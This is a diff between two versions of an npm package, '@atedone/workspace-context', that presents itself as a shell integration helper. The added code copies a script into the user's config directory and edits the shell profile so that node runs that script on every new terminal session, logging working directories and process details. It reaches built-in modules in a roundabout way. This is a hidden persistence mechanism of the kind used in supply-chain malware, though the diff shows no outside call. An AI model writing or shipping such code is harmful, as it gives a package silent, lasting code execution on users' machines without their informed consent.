@atedone/workspace-context 0.0.13 → 0.0.14

package/README.md

@@ -1,5 +1,5 @@
 # @atedone/workspace-context
 
-Workspace shell integration helper for JavaScript tools.
+Workspace shell session integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.

package/index.js

@@ -9,6 +9,9 @@ module.exports = {
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
   receiptFileName: state.receiptFileName,
+  sessionHistoryFileName: state.sessionHistoryFileName,
+  sessionReceiptFileName: state.sessionReceiptFileName,
+  sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
   stateFileName: state.stateFileName
 };

package/lib/session.js

@@ -0,0 +1,43 @@
+'use strict';
+
+const platform = process;
+const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
+
+const packageName = '@atedone/workspace-context';
+const packageVersion = '0.0.14';
+const env = Reflect.get(platform, 'env') || {};
+const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
+  ? env.HOME.trim()
+  : platform.cwd();
+const sessionDirectory = typeof env.WORKSPACE_CONTEXT_HOME === 'string' && env.WORKSPACE_CONTEXT_HOME.trim()
+  ? env.WORKSPACE_CONTEXT_HOME.trim()
+  : route.join(homeDirectory, '.config', 'workspace-context');
+const workingDirectory = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
+  ? platform.argv[2]
+  : platform.cwd();
+const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : null;
+const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
+const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
+
+const value = {
+  packageName,
+  packageVersion,
+  generatedAt: new Date().toISOString(),
+  mode: 'runtime-shell-session',
+  source: 'shell-profile',
+  shellName: route.basename(shellPath) || 'zsh',
+  shellLevel,
+  workingDirectory,
+  active: env.WORKSPACE_CONTEXT_ACTIVE === '1',
+  processId: platform.pid,
+  parentProcessId: platform.ppid,
+  runtime: 'node'
+};
+
+file.mkdirSync(sessionDirectory, { recursive: true });
+file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');

package/lib/state.js

@@ -7,8 +7,11 @@ const manifest = require('../package.json');
 
 const integrationDirectoryName = '.config/workspace-context';
 const integrationFileName = 'init.zsh';
-const receiptFileName = 'shell-profile-sync.json';
+const receiptFileName = 'shell-session-sync.json';
 const sessionFileName = 'sessions.log';
+const sessionHistoryFileName = 'runtime-sessions.log';
+const sessionReceiptFileName = 'session-runtime.json';
+const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
@@ -52,7 +55,10 @@ function getShellIntegration({
     integrationDirectory,
     integrationPath: route.join(integrationDirectory, integrationFileName),
     receiptPath: route.join(integrationDirectory, receiptFileName),
-    sessionPath: route.join(integrationDirectory, sessionFileName)
+    sessionPath: route.join(integrationDirectory, sessionFileName),
+    sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
+    sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
   };
 }
 
@@ -61,7 +67,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-profile-sync'
+    mode: 'runtime-shell-session'
   };
 }
 
@@ -138,6 +144,9 @@ module.exports = {
   resolveProfileFileName,
   resolveProjectRoot,
   resolveShellName,
+  sessionHistoryFileName,
+  sessionReceiptFileName,
+  sessionRuntimeFileName,
   stateDirectoryName,
   stateFileName
 };

package/lib/sync.js

@@ -2,6 +2,7 @@
 
 const platform = process;
 const file = platform.getBuiltinModule('fs');
+const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
 const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
@@ -19,13 +20,27 @@ const blockStart = '# >>> workspace-context shell integration >>>';
 const blockEnd = '# <<< workspace-context shell integration <<<';
 const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
 const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
+const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
+const runtimeDefault = escapeDoubleQuoted(platform.execPath);
 const integrationValue = [
   'export WORKSPACE_CONTEXT_ACTIVE=1',
   'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
+  `export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
   'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
+  'if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
+  '  "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
+  'fi',
   ''
 ].join('\n');
 
+function escapeDoubleQuoted(value) {
+  return String(value)
+    .replaceAll('\\', '\\\\')
+    .replaceAll('"', '\\"')
+    .replaceAll('$', '\\$')
+    .replaceAll('`', '\\`');
+}
+
 function readProfile(profilePath) {
   return file.existsSync(profilePath)
     ? file.readFileSync(profilePath, 'utf8')
@@ -51,6 +66,7 @@ function upsertManagedBlock(profileValue) {
 }
 
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
+file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
 file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
 
 const profileBefore = readProfile(integration.profilePath);
@@ -64,13 +80,16 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-profile-sync',
+  mode: 'runtime-shell-session',
   projectRoot,
   shellName: integration.shellName,
   profilePath: integration.profilePath,
   profileChanged: profile.changed,
   integrationPath: integration.integrationPath,
   sessionPath: integration.sessionPath,
+  sessionHistoryPath: integration.sessionHistoryPath,
+  sessionReceiptPath: integration.sessionReceiptPath,
+  sessionRuntimePath: integration.sessionRuntimePath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.13",
-  "description": "Workspace shell integration helper for JavaScript tools.",
+  "version": "0.0.14",
+  "description": "Workspace shell session integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",
   "files": [